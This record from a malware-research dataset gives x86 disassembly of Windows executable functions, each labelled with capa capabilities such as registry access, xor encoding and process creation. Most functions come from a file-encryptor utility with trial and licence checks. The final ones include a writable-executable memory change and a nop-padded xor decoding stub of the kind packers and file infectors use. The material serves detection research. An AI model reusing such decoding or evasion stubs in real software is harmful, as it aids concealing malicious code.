joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406a8d
Capabilities:
Create thread
Read .ini file

Disassembly:
push ecx
push ecx
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 4], eax
push ebx
push ebp
push esi
push edi
sub ecx, 0x473
je 0x406bf6
sub ecx, 1
je 0x406be6
sub ecx, 1
je 0x406bd6
sub ecx, 1
je 0x406b9d
sub ecx, 3
je 0x406b3a
sub ecx, 1
jne 0x406c0c
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov edi, 0x48fef0
push edi
xor ebx, ebx
mov ebp, 0x42a444
push ebx
push ebp
push str.OPTIONS
call esi
push edi
test eax, eax
je 0x406afb
push 0x42a3c4
jmp 0x406b00
push 0x42a0d8
push ebp
push str.OPTIONS
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push ebx
push edi
push ebx
push ebp
push str.OPTIONS
call esi
push eax
push 0xf1
push 0x47a
push dword [0x49fefc]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
jmp 0x406c0c
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
xor ebx, ebx
push ebx
push ebx
push 0x1009
mov ebp, 0x477
push ebp
push dword [0x49fefc]
call edi
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push eax
call esi
push ebx
push ebx
push 0x1004
push ebp
push dword [0x49fefc]
call edi
push eax
call esi
push eax
mov ecx, 0x42a43c
call fcn.0040ca67
push eax
push 0x7fff
mov esi, 0x46fc78
push esi
call fcn.00402dab
push 1
mov ecx, esi
call fcn.0040cb6e
add esp, 0x14
jmp 0x406c0c
cmp dword [0x42e8d8], 1
jne 0x406bc6
push 0
push 0x410e0a
push dword [0x49fefc]
push str.NAGSCREEN
push dword [0x49fef8]
call dword [sym.imp.USER32.dll_DialogBoxParamW]
jmp 0x406c0c
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x4078ed
jmp 0x406c04
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x4073b5
jmp 0x406c04
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x407154
jmp 0x406c04
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x407798
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
inc eax
call fcn.00411b03
pop ecx
pop ecx
ret
Function at 0x4083c8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20004
call fcn.00422eb0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ecx + 6]
push eax
movzx eax, word [ecx]
push eax
push str._c:___s_
lea eax, [ebp - 0x20004]
push 0xfffa
push eax
call fcn.00402dab
add esp, 0x14
lea eax, [ebp - 0x20004]
xor ecx, ecx
push ecx
push ecx
push eax
push 0x42a6dc
push str.open
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00411b03
leave
ret

Function at 0x408428
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20004
call fcn.00422eb0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, ecx
lea edi, [ebp - 0x10004]
xor eax, eax
mov esi, str.subst
push 0xfff0
push eax
mov word [ebx + 8], ax
lea eax, [ebp - 0xfff6]
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00412740
mov esi, dword [sym.imp.SHLWAPI.dll_StrCatW]
lea eax, [ebx + 4]
add esp, 0xc
push eax
lea eax, [ebp - 0x10004]
push eax
call esi
push 0x42a704
lea eax, [ebp - 0x10004]
push eax
call esi
xor ebx, ebx
lea eax, [ebp - 0x20003]
push 0xfffe
push ebx
push eax
mov byte [ebp - 0x20004], bl
call fcn.00412740
add esp, 0xc
lea eax, [ebp - 0x20004]
push ebx
push ebx
push 0xffff
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x10004]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
lea eax, [ebp - 0x20004]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.00408556
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411b03
leave
ret

Function at 0x4084ee
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor esi, esi
mov bx, cx
inc esi
push esi
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
shr eax, 2
xor ecx, ecx
test eax, eax
je 0x40853e
cmp bx, word [ebp + ecx*8 - 0x20c]
je 0x40853c
inc ecx
cmp ecx, eax
jb 0x40852b
jmp 0x40853e
xor esi, esi
push 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411b03
leave
ret
Function at 0x40c9ae
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x18], eax
push ebp
lea eax, [esp + 0x18]
xor ebp, ebp
push eax
lea eax, [esp + 8]
push eax
push ebp
push 0xf003f
push ebp
push ebp
push ebp
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40ca57
push edi
push ebp
call fcn.004150ef
pop ecx
push 4
mov dword [esp + 0x18], eax
lea eax, [esp + 0x18]
push eax
push 4
push ebp
push str.LastRun
push dword [esp + 0x1c]
mov dword [esp + 0x30], edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [esp + 0x10]
mov dword [esp + 0xc], ebp
push eax
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0x64
push eax
push ebp
push ebp
mov edi, str.Amount
push edi
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
inc dword [esp + 0xc]
lea eax, [esp + 0xc]
push 4
push eax
push 4
push ebp
push edi
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov ecx, dword [esp + 0x1c]
pop ebp
xor ecx, esp
call fcn.00411b03
add esp, 0x1c
ret
Function at 0x40d03d
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x228
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x224], eax
push ebx
push ebp
mov ebp, dword [esp + 0x23c]
push esi
push edi
mov edi, dword [esp + 0x23c]
call fcn.0040cdea
mov ebx, dword [sym.imp.SHLWAPI.dll_StrCpyW]
mov esi, 0x49ff08
push 0x4aff08
push esi
call ebx
push 0x5c
push 0
push esi
call dword [sym.imp.SHLWAPI.dll_StrRChrW]
sub eax, esi
and eax, 0xfffffffe
cmp eax, 0xfffe
jae 0x40d1c2
push str.xdrvextradrivepro.ini
xor ecx, ecx
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_StrCatW]
mov word [eax + 0x49ff08], cx
call esi
push 0x4aff08
push 0x4c00a0
call ebx
push str.help_
mov ebx, 0x4c00a0
push ebx
call esi
push 0x4d00a0
push 0x104
lea eax, [esp + 0x34]
push eax
push 0
push 0x42a3e8
push str.LANGUAGE
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [esp + 0x2c]
push eax
push ebx
call esi
call fcn.0040c912
cmp dword [0x4bff08], 0
je 0x40d11b
mov ecx, str.SOFTWAREGodlike_DevelopersXtraToolsFFnc_
call fcn.0040c9ae
cmp dword [0x4bff08], 0
je 0x40d11b
push 0x64
push 0x4bffd8
push 0x68
jmp 0x40d124
push 0x64
push 0x4bffd8
push 0x67
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
call esi
push 0x64
push 0x4bff10
push 0x1e
push edi
call esi
mov ecx, edi
call fcn.0040d1c8
mov edx, dword [esp + 0x248]
mov ecx, edi
push ebp
call fcn.0040d3b2
pop ecx
test eax, eax
jne 0x40d16f
mov ecx, dword [esp + 0x234]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00411b03
add esp, 0x228
ret 0x10
push 0x1e
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
mov edi, eax
xor ebx, ebx
jmp 0x40d1ae
lea eax, [esp + 0x10]
push eax
push edi
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x40d1ae
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push ebx
push ebx
push ebx
lea eax, [esp + 0x1c]
push eax
call esi
test eax, eax
jne 0x40d184
mov eax, dword [esp + 0x18]
jmp 0x40d154
call fcn.00411c33
int3
Function at 0x40d24d
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x194], eax
lea eax, [ebp - 0x80]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d311
push 0x206
push eax
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push eax
call fcn.00412740
add esp, 0xc
mov dword [ebp - 0x78], 0x104
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x7c]
push eax
push 0
push str.CurrentBuildNumber
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40d308
lea eax, [ebp - 0x74]
push eax
call fcn.00416992
mov dword [ebp - 0x78], eax
pop ecx
cmp eax, 0x1770
jb 0x40d2e6
mov dword [0x4e00a8], 1
cmp eax, 0x1db0
jb 0x40d2f7
mov dword [0x4e00a8], 2
cmp eax, 0x23f0
jb 0x40d308
mov dword [0x4e00a8], 3
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x194]
xor ecx, ebp
call fcn.00411b03
add ebp, 0x198
leave
ret
Function at 0x40f1b5
Capabilities:
Get file size
Get graphical window text
Read file on windows

Disassembly:
mov eax, 0x10424
call fcn.00422eb0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x10420], eax
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x14], edx
push edi
push edi
push 0xf0
push 0x401
push dword [0x49fefc]
mov ebp, ecx
call ebx
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
je 0x40f26a
push 1
push 0x7fff
call fcn.00414b53
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40f319
push 0x7fff
push esi
cmp dword [0x42fc28], edi
jne 0x40f22b
push 0x402
jmp 0x40f230
push 0x13b2
push dword [0x49fefc]
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp byte [esi], 0
jne 0x40f257
push str.PASS
push 0x7fff
push esi
call fcn.004169d8
add esp, 0xc
mov ebx, esi
lea ecx, [ebx + 1]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x40f25c
sub ebx, ecx
jmp 0x40f371
xor eax, eax
push 0xfffc
mov word [esp + 0x434], ax
lea eax, [esp + 0x436]
push edi
push eax
call fcn.00412740
add esp, 0xc
lea eax, [esp + 0x430]
push 0x7fff
push eax
push 0x489
push dword [0x49fefc]
call ebx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push edi
push 0x80
push 3
push edi
push edi
push 0x80000000
lea eax, [esp + 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
jne 0x40f321
mov ecx, 0x42b784
call fcn.0040ca67
mov esi, dword [sym.imp.SHLWAPI.dll_StrCpyW]
push eax
lea eax, [esp + 0x22c]
push eax
call esi
mov ecx, 0x42a118
call fcn.0040ca67
push eax
lea ecx, [esp + 0x24]
push ecx
call esi
push 0x30
lea ecx, [esp + 0x24]
push ecx
lea ecx, [esp + 0x230]
push ecx
push dword [0x49fefc]
call dword [sym.imp.USER32.dll_MessageBoxW]
or eax, 0xffffffff
jmp 0x40f3be
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], edi
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
xor edx, edx
mov ecx, ebx
add ecx, 2
push 1
setb dl
neg edx
or edx, ecx
push edx
call fcn.00414b53
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40f319
push edi
lea eax, [esp + 0x20]
mov dword [esp + 0x20], edi
push eax
push ebx
push esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push 0x400
push 0x3ff
push dword [0x49fefc]
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [esp + 0x14]
mov dl, al
add ecx, ebp
jmp 0x40f3b0
xor eax, eax
cmp edi, ebx
cmovne eax, edi
lea edi, [eax + 1]
mov al, byte [eax + esi]
xor al, byte [ebp]
xor al, dl
mov byte [ebp], al
inc ebp
cmp ebp, ecx
jb 0x40f39a
push esi
call fcn.00414b5e
xor eax, eax
pop ecx
inc eax
mov ecx, dword [esp + 0x10430]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00411b03
add esp, 0x10424
ret
Function at 0x40f43b
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0xa], 0
xorps xmm0, xmm0
push esi
mov esi, ecx
movlpd qword [ebp - 0x12], xmm0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
cmp word [esi + eax*2 - 2], 0x5c
jne 0x40f472
mov word [esi + eax*2 - 2], cx
jmp 0x40f477
mov word [esi + eax*2 + 2], cx
and dword [ebp - 0x24], 0
mov eax, 0x454
and dword [ebp - 0x18], 0
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], esi
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00411b03
leave
ret
Function at 0x410c09
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x7f94]
mov eax, 0x8014
call fcn.00422eb0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x7f90], eax
push esi
push edi
lea eax, [ebp - 0x74]
xor esi, esi
mov edi, edx
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push 0x20019
push esi
push esi
push esi
cmp dword [0x4bff08], esi
je 0x410c4e
push str.SOFTWAREGodlike_DevelopersXtraToolsFFnc
jmp 0x410c53
push str.SOFTWAREGodlike_DevelopersFast_File_Encryptor
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x410c66
xor eax, eax
jmp 0x410c9f
lea eax, [ebp - 0x78]
mov dword [ebp - 0x78], 0x4000
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x7c]
push eax
push esi
push edi
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x410c94
lea eax, [ebp - 0x70]
push eax
call fcn.00416992
pop ecx
mov esi, eax
push dword [ebp - 0x80]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp + 0x7f90]
pop edi
xor ecx, ebp
pop esi
call fcn.00411b03
add ebp, 0x7f94
leave
ret

Function at 0x410cb6
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x8014
call fcn.00422eb0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x8010], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x802c]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x14]
xor ebp, ebp
push eax
push ebp
xor esi, esi
mov ebx, edx
inc esi
push esi
push ebp
push ebp
push ebp
push str.SOFTWAREGodlike_DevelopersFast_File_Encryptor
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x410d08
or eax, 0xffffffff
jmp 0x410d66
xor eax, eax
push 0x7ffc
mov word [esp + 0x24], ax
lea eax, [esp + 0x26]
push ebp
push eax
call fcn.00412740
add esp, 0xc
mov dword [esp + 0x14], 0x3fff
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x24]
push eax
push ebp
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x410d57
lea eax, [esp + 0x20]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_StrCpyW]
jmp 0x410d5a
or esi, 0xffffffff
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [esp + 0x8020]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00411b03
add esp, 0x8014
ret
Function at 0x410d7f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 0xc]
mov ebx, edx
push eax
push esi
push 0x20006
push esi
push esi
push esi
cmp dword [0x4bff08], esi
je 0x410db9
push str.SOFTWAREGodlike_DevelopersXtraToolsFFnc
jmp 0x410dbe
push str.SOFTWAREGodlike_DevelopersFast_File_Encryptor
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x410dd1
xor eax, eax
jmp 0x410dfb
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push 1
push esi
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x410df0
xor esi, esi
inc esi
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411b03
leave
ret

Function at 0x41157d
Capabilities:
Hash data with crc32

Disassembly:
push esi
push edi
mov edi, ecx
or esi, 0xffffffff
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, eax
jmp 0x4115a5
movzx eax, word [edi]
dec ecx
xor eax, esi
lea edi, [edi + 2]
movzx eax, al
shr esi, 8
xor esi, dword [eax*4 + 0x42aba8]
test ecx, ecx
jg 0x41158f
not esi
pop edi
mov eax, esi
pop esi
ret

Function at 0x4115b0
Capabilities:
Encode data using xor

Disassembly:
movzx eax, word [ecx]
test ax, ax
je 0x4115cd
mov edx, eax
xor edx, 1
mov word [ecx], dx
lea ecx, [ecx + 2]
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x4115ba
xor eax, eax
ret
Function at 0x4115d0
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
mov eax, 0x10384
call fcn.00422eb0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x10380], eax
xor eax, eax
push 0x98
push eax
mov word [esp + 0xc], ax
lea eax, [esp + 0xe]
push eax
call fcn.00412740
pop ecx
pop ecx
lea eax, [esp + 8]
mov edx, str.Temp
push eax
push ecx
call fcn.00410cb6
add esp, 0xc
test eax, eax
je 0x41176c
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esp + 8]
push eax
call ebp
cmp eax, 0x14
jl 0x41176b
push ebx
push esi
push edi
lea eax, [esp + 0x14]
push eax
call ebp
mov ecx, 0xb8
lea edi, [esp + 0xb0]
mov esi, str.KJRMNBTURNGUYDUY5NG675FU6KMBHX78479K8347WMY4U6YK7GKJCHKCUY6857J76YMJYDY6G75H7SJ56CYNG7B6DYE47578RF543Q2S5DD34541D654S61531734J718Y718J74Y17848716HHYF1RDE561G65F35T4371874187GT835J85G38F7391875JF5HF1HF5F35HS7NX46SEU7YJD37Y1U7J5YU71Y75G8TY5JD731J51835YUDJY37Y37EU78YJ1E74Y1U7J3YDJU751YJ81Y5JD8Y571Y75Y7YESDJY874YSJJ7SFY4IYGSUJ57Y678JEY57YD57Y67YJUDY6J85Y6J7DYGI6YD7FJDU
mov ebx, eax
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0xb0]
call fcn.004115b0
lea eax, [esp + ebx*2 - 4]
push eax
lea eax, [esp + 0xb4]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x4116a5
mov esi, str.rotpyrcne
push ecx
mov edx, esi
call fcn.00410c09
pop ecx
test eax, eax
je 0x41169e
xor eax, eax
inc eax
mov dword [0x42e8d4], eax
mov dword [0x42e8d8], eax
mov dword [0x42e8dc], eax
jmp 0x411768
mov edx, esi
jmp 0x41175d
lea eax, [esp + 0x14]
push eax
call ebp
xor ecx, ecx
mov word [esp + eax*2 - 4], cx
lea eax, [esp + 0x14]
push eax
call ebp
lea esi, [esp + eax*2 + 0xe]
mov ecx, esi
call fcn.004115b0
push esi
call fcn.00416992
pop ecx
test eax, eax
je 0x4116de
cmp eax, 0x6f
je 0x4116de
cmp eax, 0x71
je 0x4116de
xor eax, eax
jmp 0x4116e1
xor eax, eax
inc eax
test eax, eax
jne 0x411758
lea eax, [esp + 0x10]
push eax
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
mov esi, dword [sym.imp.SHLWAPI.dll_StrCatW]
test eax, eax
jne 0x41172f
lea eax, [esp + 0x390]
push eax
push dword [esp + 0x14]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push str.Godlike
lea eax, [esp + 0x394]
push eax
call esi
push 0
lea eax, [esp + 0x394]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str._rotpyrcne.dll
lea eax, [esp + 0x394]
push eax
call esi
lea eax, [esp + 0x390]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x42a3c4
mov edx, str.rotpyrcne
jmp 0x411762
mov edx, str.rotpyrcne
push 0x42a0d8
call fcn.00410d7f
pop ecx
pop edi
pop esi
pop ebx
pop ebp
mov ecx, dword [esp + 0x10380]
xor ecx, esp
call fcn.00411b03
add esp, 0x10384
ret
Function at 0x411781
Capabilities:
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x2ff90]
mov eax, 0x30010
call fcn.00422eb0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x2ff8c], eax
push ecx
mov edx, 0x42c0d0
call fcn.00410c09
pop ecx
test eax, eax
jne 0x411888
push esi
push edi
mov esi, 0xfffc
mov word [ebp + 0x1ff8c], ax
push esi
xor edi, edi
lea eax, [ebp + 0x1ff8e]
push edi
push eax
call fcn.00412740
xor eax, eax
push esi
mov word [ebp + 0xff8c], ax
lea eax, [ebp + 0xff8e]
push edi
push eax
call fcn.00412740
xor eax, eax
push esi
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push edi
push eax
call fcn.00412740
add esp, 0x24
lea eax, [ebp - 0x7c]
mov esi, 0x7fff
push edi
push edi
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
lea eax, [ebp - 0x74]
push eax
push 0x42a7d0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push dword [ebp - 0x78]
lea eax, [ebp + 0x1ff8c]
push 0x42c0d8
push esi
push eax
call fcn.00402dab
add esp, 0xc
lea eax, [ebp + 0xff8c]
mov esi, str.Trash
mov edx, esi
push eax
push ecx
call fcn.00410cb6
add esp, 0xc
lea eax, [ebp + 0xff8c]
push eax
lea eax, [ebp + 0x1ff8c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x411886
push 0x429f8c
mov edx, str.Temp
call fcn.00410d7f
lea eax, [ebp + 0x1ff8c]
mov edx, esi
push eax
call fcn.00410d7f
pop ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp + 0x2ff8c]
xor ecx, ebp
call fcn.00411b03
add ebp, 0x2ff90
leave
ret

Function at 0x412408
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x412447
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x412447
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x412447
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x412447
cmp dword [ecx + 0x74], 0xe
jbe 0x412447
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x422b90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x422bbd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x422bbd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40601c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x406028
push 0x406024
push 0x406020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x406028]
push dword [0x406024]
push dword [0x406020]
mov dword [0x406014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret

Function at 0x40129c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x84], 0
call fcn.00401994
mov esi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov eax, esi
or al, 0x40
push eax
lea eax, [0x4044a5]
lea edx, [fcn.00401a04]
sub eax, edx
push eax
push fcn.00401a04
call sub.KERNEL32.dll_VirtualProtect
cmp dword [ebp - 4], 0
je 0x401337
push esi
call fcn.0040188f
lea eax, [ebp - 0x84]
push eax
push esi
call fcn.004018dd
mov eax, esi
add eax, 0x1cc00
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x84]
push eax
mov edi, dword [ebp - 0x88]
mov eax, esi
mov ecx, edi
or cl, 1
cdq
idiv ecx
mov ebx, eax
add ebx, edi
push ebx
lea edi, [0x4060e4]
mov ebx, esi
dec ebx
and edi, ebx
push edi
call fcn.00401a04
add esp, 0x18
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401994
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
and dword [ebp - 0x118], 0
xor edi, edi
mov dword [ebp - 0x114], 0xa
mov byte [ebp - 0x104], 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x10e]
push eax
push 1
push 1
lea eax, [ebp - 0x104]
push eax
call sub.CRYPT32.DLL_CryptBinaryToStringA
call sub.KERNEL32.dll_GetLastError
push 0
push 0
call sub.SHLWAPI.DLL_PathAppendA
movsx edi, byte [ebp - 0x10e]
sub edi, 0x41
mov eax, edi
pop edi
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
jmp fcn.00401219